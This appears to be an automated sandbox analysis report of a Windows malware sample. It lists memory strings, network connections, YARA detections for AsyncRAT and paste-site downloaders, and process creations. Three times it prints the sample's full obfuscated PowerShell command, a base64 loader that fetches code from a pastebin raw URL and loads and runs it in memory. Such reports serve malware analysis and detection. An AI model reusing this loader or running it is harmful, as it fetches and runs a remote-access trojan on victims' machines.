Source: powershell.exe, 00000004.00000002.2176643102.0000028701A14000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2254576347.000002871007F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2150319912.000002C0E23D5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2150319912.000002C0E229F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2133813473.000002C0D3ADD000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D7D48000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2578721401.00000272E6413000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2507053683.0000027C1CBAE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2507053683.0000027C1CCE4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2352027899.0000027C0E40D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 00000005.00000002.2133813473.000002C0D384B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2352027899.0000027C0E2E5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneget.org
Source: powershell.exe, 00000005.00000002.2133813473.000002C0D384B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2352027899.0000027C0E2E5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneget.orgX
Source: powershell.exe, 00000004.00000002.2176643102.00000287005BC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D695C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://paste.ee
Source: powershell.exe, 00000004.00000002.2176643102.0000028700596000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2176643102.00000287005BC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D695C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D6937000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://paste.ee/d/lHbHo/0
Source: powershell.exe, 00000004.00000002.2176643102.00000287005BC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D695C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://paste.ee/d/lHbHo/0P
Source: powershell.exe, 00000004.00000002.2176643102.000002870058A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2176643102.00000287003BA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2176643102.000002870164D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D692B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D675B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D7A00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pastebin.com
Source: powershell.exe, 00000004.00000002.2176643102.0000028701721000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D7AD5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pastebin.com/raw
Source: powershell.exe, 0000000E.00000002.2403141075.00000272D7A00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pastebin.com/raw/V9y5Q5vv
Source: powershell.exe, 00000004.00000002.2176643102.000002870058A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D692B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pastebin.com/raw/cD7bJS7b
Source: powershell.exe, 00000004.00000002.2176643102.0000028700443000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2176643102.0000028701721000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D7AD5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D67E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pastebin.com/raw/sFgsbG3v
Source: powershell.exe, 00000004.00000002.2176643102.000002870168C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2176643102.0000028701664000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2176643102.00000287003E2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2176643102.0000028701721000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D7AD5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D7A17000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D7A3F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D6782000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://remote-app-switcher.prod-east.frontend.public.atl-paas.net
Source: powershell.exe, 00000004.00000002.2176643102.000002870168C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2176643102.0000028701664000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2176643102.00000287003E2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2176643102.0000028701721000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D7AD5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D7A17000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D7A3F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D6782000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://remote-app-switcher.stg-east.frontend.public.atl-paas.net
Source: powershell.exe, 00000004.00000002.2176643102.00000287003CA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2176643102.00000287005BC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D695C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D676A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://secure.gravatar.com
Source: powershell.exe, 00000004.00000002.2176643102.00000287003CA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2176643102.00000287005BC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D695C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D676A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://themes.googleusercontent.com
Source: powershell.exe, 00000004.00000002.2176643102.000002870168C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2176643102.0000028701664000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2176643102.00000287003E2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2176643102.0000028701721000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D7AD5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D7A17000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D7A3F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D6782000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://web-security-reports.services.atlassian.com/csp-report/bb-website
Source: powershell.exe, 00000004.00000002.2176643102.00000287003CA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2176643102.00000287005BC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D695C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D676A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: powershell.exe, 00000004.00000002.2176643102.00000287003CA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2176643102.00000287005BC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D695C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D676A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com;
Source: powershell.exe, 00000004.00000002.2176643102.00000287003CA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2176643102.00000287005BC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D695C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D676A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723

Source: unknown	HTTPS traffic detected: 104.20.4.235:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.166.143.50:443 -> 192.168.2.5:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.216.144.11:443 -> 192.168.2.5:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.20.4.235:443 -> 192.168.2.5:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.166.143.50:443 -> 192.168.2.5:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 3.5.25.83:443 -> 192.168.2.5:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49728 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: 4.2.powershell.exe.2877ca20000.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables (downloaders) containing reversed URLs to raw contents of a paste Author: ditekSHen
Source: 4.2.powershell.exe.2877ca20000.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detects known downloader agent Author: ditekSHen
Source: 16.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 4.2.powershell.exe.287005f0550.1.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 14.2.powershell.exe.272d6990dc0.3.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 4.2.powershell.exe.287005ed138.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 4.2.powershell.exe.287005f0550.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 14.2.powershell.exe.272d6990dc0.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 14.2.powershell.exe.272d6819978.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables (downloaders) containing reversed URLs to raw contents of a paste Author: ditekSHen
Source: 14.2.powershell.exe.272d6819978.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects known downloader agent Author: ditekSHen
Source: 14.2.powershell.exe.272d698d9a8.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 4.2.powershell.exe.28700478df0.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables (downloaders) containing reversed URLs to raw contents of a paste Author: ditekSHen
Source: 4.2.powershell.exe.28700478df0.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects known downloader agent Author: ditekSHen
Source: 14.2.powershell.exe.272d7b8ec50.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables (downloaders) containing reversed URLs to raw contents of a paste Author: ditekSHen
Source: 14.2.powershell.exe.272d7b8ec50.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects known downloader agent Author: ditekSHen
Source: 4.2.powershell.exe.287017daf68.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables (downloaders) containing reversed URLs to raw contents of a paste Author: ditekSHen
Source: 4.2.powershell.exe.287017daf68.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects known downloader agent Author: ditekSHen
Source: 00000004.00000002.2176643102.00000287005E6000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000010.00000002.2381808798.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 0000000E.00000002.2403141075.00000272D6986000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000004.00000002.2275849504.000002877CA20000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables (downloaders) containing reversed URLs to raw contents of a paste Author: ditekSHen
Source: 00000004.00000002.2275849504.000002877CA20000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Detects known downloader agent Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 1020, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 6400, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 5368, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 7096, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript called in batch mode (surpress errors)

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\system32\wscript.exe" //b //nologo C:\Users\user\AppData\Local\Temp\sostener.vbs
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\system32\wscript.exe" //b //nologo C:\Users\user\AppData\Local\Temp\sostener.vbs			Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $LoPuennnTes = 'J?Bh?G0?cwBo?GU?I??9?C??Jw?w?DM?Jw?7?CQ?dgB2?GU?cgBy?C??PQ?g?Cc?JQBw?Ho?QQBj?E8?ZwBJ?G4?TQBy?CU?Jw?7?Fs?UwB5?HM?d?Bl?G0?LgBO?GU?d??u?FM?ZQBy?HY?aQBj?GU?U?Bv?Gk?bgB0?E0?YQBu?GE?ZwBl?HI?XQ?6?Do?UwBl?HI?dgBl?HI?QwBl?HI?d?Bp?GY?aQBj?GE?d?Bl?FY?YQBs?Gk?Z?Bh?HQ?aQBv?G4?QwBh?Gw?b?Bi?GE?YwBr?C??PQ?g?Hs?J?B0?HI?dQBl?H0?OwBb?FM?eQBz?HQ?ZQBt?C4?TgBl?HQ?LgBT?GU?cgB2?Gk?YwBl?F??bwBp?G4?d?BN?GE?bgBh?Gc?ZQBy?F0?Og?6?FM?ZQBj?HU?cgBp?HQ?eQBQ?HI?bwB0?G8?YwBv?Gw?I??9?C??WwBT?Hk?cwB0?GU?bQ?u?E4?ZQB0?C4?UwBl?GM?dQBy?Gk?d?B5?F??cgBv?HQ?bwBj?G8?b?BU?Hk?c?Bl?F0?Og?6?FQ?b?Bz?DE?Mg?7?Fs?QgB5?HQ?ZQBb?F0?XQ?g?CQ?a?B6?GY?YgBz?C??PQ?g?Fs?cwB5?HM?d?Bl?G0?LgBD?G8?bgB2?GU?cgB0?F0?Og?6?EY?cgBv?G0?QgBh?HM?ZQ?2?DQ?UwB0?HI?aQBu?Gc?K??g?Cg?TgBl?Hc?LQBP?GI?agBl?GM?d??g?E4?ZQB0?C4?VwBl?GI?QwBs?Gk?ZQBu?HQ?KQ?u?EQ?bwB3?G4?b?Bv?GE?Z?BT?HQ?cgBp?G4?Zw?o?C??K?BO?GU?dw?t?E8?YgBq?GU?YwB0?C??TgBl?HQ?LgBX?GU?YgBD?Gw?aQBl?G4?d??p?C4?R?Bv?Hc?bgBs?G8?YQBk?FM?d?By?Gk?bgBn?Cg?JwBo?HQ?d?Bw?Do?Lw?v?H??YQBz?HQ?ZQBi?Gk?bg?u?GM?bwBt?C8?cgBh?Hc?LwBW?Dk?eQ?1?FE?NQB2?HY?Jw?p?C??KQ?g?Ck?OwBb?HM?eQBz?HQ?ZQBt?C4?QQBw?H??R?Bv?G0?YQBp?G4?XQ?6?Do?QwB1?HI?cgBl?G4?d?BE?G8?bQBh?Gk?bg?u?Ew?bwBh?GQ?K??k?Gg?egBm?GI?cw?p?C4?RwBl?HQ?V?B5?H??ZQ?o?Cc?V?Bl?Gg?dQBs?GM?a?Bl?HM?W?B4?Fg?e?B4?C4?QwBs?GE?cwBz?DE?Jw?p?C4?RwBl?HQ?TQBl?HQ?a?Bv?GQ?K??n?E0?cwBx?EI?SQBi?Fk?Jw?p?C4?SQBu?HY?bwBr?GU?K??k?G4?dQBs?Gw?L??g?Fs?bwBi?Go?ZQBj?HQ?WwBd?F0?I??o?Cc?Yg?3?FM?SgBi?Dc?R?Bj?C8?dwBh?HI?LwBt?G8?Yw?u?G4?aQBi?GU?d?Bz?GE?c??v?C8?OgBz?H??d?B0?Gg?Jw?g?Cw?I??k?HY?dgBl?HI?cg?g?Cw?I??n?F8?XwBf?Hc?aQBu?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?LQ?t?C0?LQ?t?C0?LQ?n?Cw?I??k?GE?bQBz?Gg?ZQ?s?C??Jw?x?Cc?L??g?Cc?UgBv?GQ?YQ?n?C??KQ?p?Ds?';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $LoPuennnTes.replace('?','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 'C:\Users\user\Desktop\sostener.vbs');powershell $KByHL;
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $LoPuennnTes = 'J?Bh?G0?cwBo?GU?I??9?C??Jw?w?DM?Jw?7?CQ?dgB2?GU?cgBy?C??PQ?g?Cc?JQBw?Ho?QQBj?E8?ZwBJ?G4?TQBy?CU?Jw?7?Fs?UwB5?HM?d?Bl?G0?LgBO?GU?d??u?FM?ZQBy?HY?aQBj?GU?U?Bv?Gk?bgB0?E0?YQBu?GE?ZwBl?HI?XQ?6?Do?UwBl?HI?dgBl?HI?QwBl?HI?d?Bp?GY?aQBj?GE?d?Bl?FY?YQBs?Gk?Z?Bh?HQ?aQBv?G4?QwBh?Gw?b?Bi?GE?YwBr?C??PQ?g?Hs?J?B0?HI?dQBl?H0?OwBb?FM?eQBz?HQ?ZQBt?C4?TgBl?HQ?LgBT?GU?cgB2?Gk?YwBl?F??bwBp?G4?d?BN?GE?bgBh?Gc?ZQBy?F0?Og?6?FM?ZQBj?HU?cgBp?HQ?eQBQ?HI?bwB0?G8?YwBv?Gw?I??9?C??WwBT?Hk?cwB0?GU?bQ?u?E4?ZQB0?C4?UwBl?GM?dQBy?Gk?d?B5?F??cgBv?HQ?bwBj?G8?b?BU?Hk?c?Bl?F0?Og?6?FQ?b?Bz?DE?Mg?7?Fs?QgB5?HQ?ZQBb?F0?XQ?g?CQ?a?B6?GY?YgBz?C??PQ?g?Fs?cwB5?HM?d?Bl?G0?LgBD?G8?bgB2?GU?cgB0?F0?Og?6?EY?cgBv?G0?QgBh?HM?ZQ?2?DQ?UwB0?HI?aQBu?Gc?K??g?Cg?TgBl?Hc?LQBP?GI?agBl?GM?d??g?E4?ZQB0?C4?VwBl?GI?QwBs?Gk?ZQBu?HQ?KQ?u?EQ?bwB3?G4?b?Bv?GE?Z?BT?HQ?cgBp?G4?Zw?o?C??K?BO?GU?dw?t?E8?YgBq?GU?YwB0?C??TgBl?HQ?LgBX?GU?YgBD?Gw?aQBl?G4?d??p?C4?R?Bv?Hc?bgBs?G8?YQBk?FM?d?By?Gk?bgBn?Cg?JwBo?HQ?d?Bw?Do?Lw?v?H??YQBz?HQ?ZQBi?Gk?bg?u?GM?bwBt?C8?cgBh?Hc?LwBW?Dk?eQ?1?FE?NQB2?HY?Jw?p?C??KQ?g?Ck?OwBb?HM?eQBz?HQ?ZQBt?C4?QQBw?H??R?Bv?G0?YQBp?G4?XQ?6?Do?QwB1?HI?cgBl?G4?d?BE?G8?bQBh?Gk?bg?u?Ew?bwBh?GQ?K??k?Gg?egBm?GI?cw?p?C4?RwBl?HQ?V?B5?H??ZQ?o?Cc?V?Bl?Gg?dQBs?GM?a?Bl?HM?W?B4?Fg?e?B4?C4?QwBs?GE?cwBz?DE?Jw?p?C4?RwBl?HQ?TQBl?HQ?a?Bv?GQ?K??n?E0?cwBx?EI?SQBi?Fk?Jw?p?C4?SQBu?HY?bwBr?GU?K??k?G4?dQBs?Gw?L??g?Fs?bwBi?Go?ZQBj?HQ?WwBd?F0?I??o?Cc?Yg?3?FM?SgBi?Dc?R?Bj?C8?dwBh?HI?LwBt?G8?Yw?u?G4?aQBi?GU?d?Bz?GE?c??v?C8?OgBz?H??d?B0?Gg?Jw?g?Cw?I??k?HY?dgBl?HI?cg?g?Cw?I??n?F8?XwBf?Hc?aQBu?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?LQ?t?C0?LQ?t?C0?LQ?n?Cw?I??k?GE?bQBz?Gg?ZQ?s?C??Jw?x?Cc?L??g?Cc?UgBv?GQ?YQ?n?C??KQ?p?Ds?';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $LoPuennnTes.replace('?','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 'C:\Users\user\AppData\Local\Temp\sostener.vbs');powershell $KByHL;
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $LoPuennnTes = 'J?Bh?G0?cwBo?GU?I??9?C??Jw?w?DM?Jw?7?CQ?dgB2?GU?cgBy?C??PQ?g?Cc?JQBw?Ho?QQBj?E8?ZwBJ?G4?TQBy?CU?Jw?7?Fs?UwB5?HM?d?Bl?G0?LgBO?GU?d??u?FM?ZQBy?HY?aQBj?GU?U?Bv?Gk?bgB0?E0?YQBu?GE?ZwBl?HI?XQ?6?Do?UwBl?HI?dgBl?HI?QwBl?HI?d?Bp?GY?aQBj?GE?d?Bl?FY?YQBs?Gk?Z?Bh?HQ?aQBv?G4?QwBh?Gw?b?Bi?GE?YwBr?C??PQ?g?Hs?J?B0?HI?dQBl?H0?OwBb?FM?eQBz?HQ?ZQBt?C4?TgBl?HQ?LgBT?GU?cgB2?Gk?YwBl?F??bwBp?G4?d?BN?GE?bgBh?Gc?ZQBy?F0?Og?6?FM?ZQBj?HU?cgBp?HQ?eQBQ?HI?bwB0?G8?YwBv?Gw?I??9?C??WwBT?Hk?cwB0?GU?bQ?u?E4?ZQB0?C4?UwBl?GM?dQBy?Gk?d?B5?F??cgBv?HQ?bwBj?G8?b?BU?Hk?c?Bl?F0?Og?6?FQ?b?Bz?DE?Mg?7?Fs?QgB5?HQ?ZQBb?F0?XQ?g?CQ?a?B6?GY?YgBz?C??PQ?g?Fs?cwB5?HM?d?Bl?G0?LgBD?G8?bgB2?GU?cgB0?F0?Og?6?EY?cgBv?G0?QgBh?HM?ZQ?2?DQ?UwB0?HI?aQBu?Gc?K??g?Cg?TgBl?Hc?LQBP?GI?agBl?GM?d??g?E4?ZQB0?C4?VwBl?GI?QwBs?Gk?ZQBu?HQ?KQ?u?EQ?bwB3?G4?b?Bv?GE?Z?BT?HQ?cgBp?G4?Zw?o?C??K?BO?GU?dw?t?E8?YgBq?GU?YwB0?C??TgBl?HQ?LgBX?GU?YgBD?Gw?aQBl?G4?d??p?C4?R?Bv?Hc?bgBs?G8?YQBk?FM?d?By?Gk?bgBn?Cg?JwBo?HQ?d?Bw?Do?Lw?v?H??YQBz?HQ?ZQBi?Gk?bg?u?GM?bwBt?C8?cgBh?Hc?LwBW?Dk?eQ?1?FE?NQB2?HY?Jw?p?C??KQ?g?Ck?OwBb?HM?eQBz?HQ?ZQBt?C4?QQBw?H??R?Bv?G0?YQBp?G4?XQ?6?Do?QwB1?HI?cgBl?G4?d?BE?G8?bQBh?Gk?bg?u?Ew?bwBh?GQ?K??k?Gg?egBm?GI?cw?p?C4?RwBl?HQ?V?B5?H??ZQ?o?Cc?V?Bl?Gg?dQBs?GM?a?Bl?HM?W?B4?Fg?e?B4?C4?QwBs?GE?cwBz?DE?Jw?p?C4?RwBl?HQ?TQBl?HQ?a?Bv?GQ?K??n?E0?cwBx?EI?SQBi?Fk?Jw?p?C4?SQBu?HY?bwBr?GU?K??k?G4?dQBs?Gw?L??g?Fs?bwBi?Go?ZQBj?HQ?WwBd?F0?I??o?Cc?Yg?3?FM?SgBi?Dc?R?Bj?C8?dwBh?HI?LwBt?G8?Yw?u?G4?aQBi?GU?d?Bz?GE?c??v?C8?OgBz?H??d?B0?Gg?Jw?g?Cw?I??k?HY?dgBl?HI?cg?g?Cw?I??n?F8?XwBf?Hc?aQBu?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?LQ?t?C0?LQ?t?C0?LQ?n?Cw?I??k?GE?bQBz?Gg?ZQ?s?C??Jw?x?Cc?L??g?Cc?UgBv?GQ?YQ?n?C??KQ?p?Ds?';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $LoPuennnTes.replace('?','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 'C:\Users\user\Desktop\sostener.vbs');powershell $KByHL;	Jump to behavior
